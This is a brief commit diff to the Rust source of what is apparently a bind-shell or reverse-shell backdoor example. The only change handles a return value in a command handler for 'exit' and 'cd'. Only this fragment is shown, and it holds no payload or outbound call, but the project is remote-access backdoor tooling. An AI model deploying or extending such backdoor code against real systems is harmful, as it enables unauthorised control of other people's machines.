fix: fixing revshell example and its routes

examples/bind-shell/backdoor/src/main.rs

@@ -149,7 +149,7 @@ async fn handle_command(
     let cmd_str = std::str::from_utf8(cmd.as_bytes());
     match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
         Ok(["exit"]) => {
-            send_exit.send(()).await;
+            let _ = send_exit.send(()).await;
             return Ok(());
         }
         Ok(["cd", dir]) => {